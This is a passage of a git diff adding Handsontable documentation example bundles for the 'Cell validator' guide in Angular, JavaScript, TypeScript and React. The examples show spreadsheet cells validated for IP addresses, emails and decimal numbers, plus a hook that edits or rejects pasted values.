    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, OnInit } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\nconst ipValidatorRegexp =\n /^(?:\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b|null)$/;\n\nconst emailValidator = (value: unknown, callback: (valid: boolean) => void) => {\n setTimeout(() => {\n if (/.+@.+/.test(String(value))) {\n callback(true);\n } else {\n callback(false);\n }\n }, 1000);\n};\n\n@Component({\n selector: 'app-example1',\n template: `\n {{output}}\n\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements OnInit {\n output = 'Here you will see the log';\n\n readonly hotData = [\n {\n id: 1,\n name: { first: 'Joe', last: 'Fabiano' },\n ip: '0.0.0.1',\n email: 'Joe.Fabiano@ex.com',\n },\n {\n id: 2,\n name: { first: 'Fred', last: 'Wecler' },\n ip: '0.0.0.1',\n email: 'Fred.Wecler@ex.com',\n },\n {\n id: 3,\n name: { first: 'Steve', last: 'Wilson' },\n ip: '0.0.0.1',\n email: 'Steve.Wilson@ex.com',\n },\n {\n id: 4,\n name: { first: 'Maria', last: 'Fernandez' },\n ip: '0.0.0.1',\n email: 'M.Fernandez@ex.com',\n },\n {\n id: 5,\n name: { first: 'Pierre', last: 'Barbault' },\n ip: '0.0.0.1',\n email: 'Pierre.Barbault@ex.com',\n },\n {\n id: 6,\n name: { first: 'Nancy', last: 'Moore' },\n ip: '0.0.0.1',\n email: 'Nancy.Moore@ex.com',\n },\n {\n id: 7,\n name: { first: 'Barbara', last: 'MacDonald' },\n ip: '0.0.0.1',\n email: 'B.MacDonald@ex.com',\n },\n {\n id: 8,\n name: { first: 'Wilma', last: 'Williams' },\n ip: '0.0.0.1',\n email: 'Wilma.Williams@ex.com',\n },\n {\n id: 9,\n name: { first: 'Sasha', last: 'Silver' },\n ip: '0.0.0.1',\n email: 'Sasha.Silver@ex.com',\n },\n {\n id: 10,\n name: { first: 'Don', last: 'Pérignon' },\n ip: '0.0.0.1',\n email: 'Don.Pérignon@ex.com',\n },\n {\n id: 11,\n name: { first: 'Aaron', last: 'Kinley' },\n ip: '0.0.0.1',\n email: 'Aaron.Kinley@ex.com',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n const componentInstance = this;\n\n this.hotSettings = {\n beforeChange(changes: (Handsontable.CellChange | null)[]) {\n for (let i = changes.length - 1; i >= 0; i--) {\n const currChange = changes[i];\n\n if (!currChange) {\n continue;\n }\n\n // gently don't accept the word \"foo\" (remove the change at index i)\n if (currChange[3] === 'foo') {\n changes.splice(i, 1);\n }\n // if any of pasted cells contains the word \"nuke\", reject the whole paste\n else if (currChange[3] === 'nuke') {\n return false;\n }\n // capitalise first letter in column 1 and 2\n else if (\n currChange[1] === 'name.first' ||\n currChange[1] === 'name.last'\n ) {\n if (currChange[3] !== null && typeof currChange[3] === 'string') {\n changes[i]![3] =\n currChange[3].charAt(0).toUpperCase() + currChange[3].slice(1);\n }\n }\n }\n\n return true;\n },\n afterChange(changes: Handsontable.CellChange[] | null, source: Handsontable.ChangeSource) {\n if (source !== 'loadData') {\n componentInstance.output = JSON.stringify(changes);\n }\n },\n colHeaders: ['ID', 'First name', 'Last name', 'IP', 'E-mail'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id', type: 'numeric' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'ip', validator: ipValidatorRegexp, allowInvalid: true },\n { data: 'email', validator: emailValidator },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-validator/angular/example1.ts","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-validator","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__angular__example2.ts.json new file mode 100644 index 00000000..84a7a84a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\n\ntype CellMeta = { allowEmpty?: boolean };\n\nfunction decimalValidator(this: CellMeta, value: unknown, callback: (valid: boolean) => void) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n\n return;\n }\n\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\n\n@Component({\n selector: 'example2-cell-validator',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly data = data;\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Campaign', 'Channel', 'Conversion rate'],\n columns: [\n {},\n {},\n {\n validator: decimalValidator,\n allowInvalid: false,\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-validator/angular/example2.ts","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example1.js.json new file mode 100644 index 00000000..5aaca0a8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell validator · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Here you will see the log\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst output = document.querySelector('#output');\nconst ipValidatorRegexp =\n /^(?:\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b|null)$/;\n\nconst emailValidator = (value, callback) => {\n setTimeout(() => {\n if (/.+@.+/.test(value)) {\n callback(true);\n } else {\n callback(false);\n }\n }, 1000);\n};\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Joe', last: 'Fabiano' },\n ip: '0.0.0.1',\n email: 'Joe.Fabiano@ex.com',\n },\n {\n id: 2,\n name: { first: 'Fred', last: 'Wecler' },\n ip: '0.0.0.1',\n email: 'Fred.Wecler@ex.com',\n },\n {\n id: 3,\n name: { first: 'Steve', last: 'Wilson' },\n ip: '0.0.0.1',\n email: 'Steve.Wilson@ex.com',\n },\n {\n id: 4,\n name: { first: 'Maria', last: 'Fernandez' },\n ip: '0.0.0.1',\n email: 'M.Fernandez@ex.com',\n },\n {\n id: 5,\n name: { first: 'Pierre', last: 'Barbault' },\n ip: '0.0.0.1',\n email: 'Pierre.Barbault@ex.com',\n },\n {\n id: 6,\n name: { first: 'Nancy', last: 'Moore' },\n ip: '0.0.0.1',\n email: 'Nancy.Moore@ex.com',\n },\n {\n id: 7,\n name: { first: 'Barbara', last: 'MacDonald' },\n ip: '0.0.0.1',\n email: 'B.MacDonald@ex.com',\n },\n {\n id: 8,\n name: { first: 'Wilma', last: 'Williams' },\n ip: '0.0.0.1',\n email: 'Wilma.Williams@ex.com',\n },\n {\n id: 9,\n name: { first: 'Sasha', last: 'Silver' },\n ip: '0.0.0.1',\n email: 'Sasha.Silver@ex.com',\n },\n {\n id: 10,\n name: { first: 'Don', last: 'Pérignon' },\n ip: '0.0.0.1',\n email: 'Don.Pérignon@ex.com',\n },\n {\n id: 11,\n name: { first: 'Aaron', last: 'Kinley' },\n ip: '0.0.0.1',\n email: 'Aaron.Kinley@ex.com',\n },\n ],\n beforeChange(changes) {\n for (let i = changes.length - 1; i >= 0; i--) {\n const currChange = changes[i];\n\n if (!currChange) {\n continue;\n }\n\n // gently don't accept the word \"foo\" (remove the change at index i)\n if (currChange[3] === 'foo') {\n changes.splice(i, 1);\n }\n // if any of pasted cells contains the word \"nuke\", reject the whole paste\n else if (currChange[3] === 'nuke') {\n return false;\n }\n // capitalise first letter in column 1 and 2\n else if (currChange[1] === 'name.first' || currChange[1] === 'name.last') {\n if (currChange[3] !== null) {\n changes[i][3] = currChange[3].charAt(0).toUpperCase() + currChange[3].slice(1);\n }\n }\n }\n\n return true;\n },\n afterChange(changes, source) {\n if (source !== 'loadData') {\n output.innerText = JSON.stringify(changes);\n }\n },\n colHeaders: ['ID', 'First name', 'Last name', 'IP', 'E-mail'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id', type: 'numeric' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'ip', validator: ipValidatorRegexp, allowInvalid: true },\n { data: 'email', validator: emailValidator },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-validator/javascript/example1.js","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-validator","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example1.ts.json new file mode 100644 index 00000000..485606d8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell validator · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n Here you will see the log\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst output = document.querySelector('#output') as HTMLElement;\n\nconst ipValidatorRegexp =\n /^(?:\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b|null)$/;\n\nconst emailValidator = (value: string, callback: (value: boolean) => void) => {\n setTimeout(() => {\n if (/.+@.+/.test(value)) {\n callback(true);\n } else {\n callback(false);\n }\n }, 1000);\n};\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Joe', last: 'Fabiano' },\n ip: '0.0.0.1',\n email: 'Joe.Fabiano@ex.com',\n },\n {\n id: 2,\n name: { first: 'Fred', last: 'Wecler' },\n ip: '0.0.0.1',\n email: 'Fred.Wecler@ex.com',\n },\n {\n id: 3,\n name: { first: 'Steve', last: 'Wilson' },\n ip: '0.0.0.1',\n email: 'Steve.Wilson@ex.com',\n },\n {\n id: 4,\n name: { first: 'Maria', last: 'Fernandez' },\n ip: '0.0.0.1',\n email: 'M.Fernandez@ex.com',\n },\n {\n id: 5,\n name: { first: 'Pierre', last: 'Barbault' },\n ip: '0.0.0.1',\n email: 'Pierre.Barbault@ex.com',\n },\n {\n id: 6,\n name: { first: 'Nancy', last: 'Moore' },\n ip: '0.0.0.1',\n email: 'Nancy.Moore@ex.com',\n },\n {\n id: 7,\n name: { first: 'Barbara', last: 'MacDonald' },\n ip: '0.0.0.1',\n email: 'B.MacDonald@ex.com',\n },\n {\n id: 8,\n name: { first: 'Wilma', last: 'Williams' },\n ip: '0.0.0.1',\n email: 'Wilma.Williams@ex.com',\n },\n {\n id: 9,\n name: { first: 'Sasha', last: 'Silver' },\n ip: '0.0.0.1',\n email: 'Sasha.Silver@ex.com',\n },\n {\n id: 10,\n name: { first: 'Don', last: 'Pérignon' },\n ip: '0.0.0.1',\n email: 'Don.Pérignon@ex.com',\n },\n {\n id: 11,\n name: { first: 'Aaron', last: 'Kinley' },\n ip: '0.0.0.1',\n email: 'Aaron.Kinley@ex.com',\n },\n ],\n beforeChange(changes) {\n for (let i = changes.length - 1; i >= 0; i--) {\n const currChange = changes[i];\n\n if (!currChange) {\n continue;\n }\n\n // gently don't accept the word \"foo\" (remove the change at index i)\n if (currChange[3] === 'foo') {\n changes.splice(i, 1);\n }\n // if any of pasted cells contains the word \"nuke\", reject the whole paste\n else if (currChange[3] === 'nuke') {\n return false;\n }\n // capitalise first letter in column 1 and 2\n else if (currChange[1] === 'name.first' || currChange[1] === 'name.last') {\n if (currChange[3] !== null && typeof currChange[3] === 'string') {\n changes[i]![3] = currChange[3].charAt(0).toUpperCase() + currChange[3].slice(1);\n }\n }\n }\n\n return true;\n },\n afterChange(changes, source) {\n if (source !== 'loadData') {\n output.innerText = JSON.stringify(changes);\n }\n },\n colHeaders: ['ID', 'First name', 'Last name', 'IP', 'E-mail'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id', type: 'numeric' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'ip', validator: ipValidatorRegexp, allowInvalid: true },\n { data: 'email', validator: emailValidator },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-validator/javascript/example1.ts","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/cell-validator","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example2.js.json new file mode 100644 index 00000000..622df8cc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example2');\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\nfunction decimalValidator(value, callback) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n return;\n }\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\nnew Handsontable(container, {\n data,\n colHeaders: ['Campaign', 'Channel', 'Conversion rate'],\n columns: [\n {},\n {},\n {\n validator: decimalValidator,\n allowInvalid: false,\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-validator/javascript/example2.js","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example2.ts.json new file mode 100644 index 00000000..381266da --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell validator · Validate decimal numbers with dot or comma separators · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst data = [\n ['Spring Sale 2025', 'Email', '3.4'],\n ['Brand Awareness Q3', 'Paid Search', '8,1'],\n ['Retention Push', 'In-app', '12.0'],\n ['Partner Webinar', 'Organic', '6,75'],\n ['Holiday Preview', 'Social', '9.25'],\n];\n\ntype CellMeta = { allowEmpty?: boolean };\n\nfunction decimalValidator(this: CellMeta, value: unknown, callback: (valid: boolean) => void) {\n if (this.allowEmpty && (value === null || value === undefined || value === '')) {\n callback(true);\n\n return;\n }\n\n callback(/^\\d+[.,]\\d+$/.test(String(value)));\n}\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Campaign', 'Channel', 'Conversion rate'],\n columns: [\n {},\n {},\n {\n validator: decimalValidator,\n allowInvalid: false,\n },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-validator/javascript/example2.ts","breadcrumb":["Cell Functions","Cell validator"],"guide":"guides/cell-functions/cell-validator/cell-validator.md","guideTitle":"Cell validator","exampleId":"example2","exampleTitle":"Validate decimal numbers with dot or comma separators","docPermalink":"/cell-validator","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__react__example1.tsx.json new file mode 100644 index 00000000..327b6b50 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-validator__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell validator · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { CellChange } from 'handsontable';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const [output, setOutput] = useState('');\n\n const ipValidatorRegexp =\n /^(?:\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b|null)$/;\n\n const emailValidator = (value: string, callback: (value: boolean) => void) => {\n setTimeout(() => {\n if (/.+@.+/.test(value)) {\n callback(true);\n } else {\n callback(false);\n }\n }, 1000);\n };\n\n return (\n <>\n
    \n \n {output}\n \n
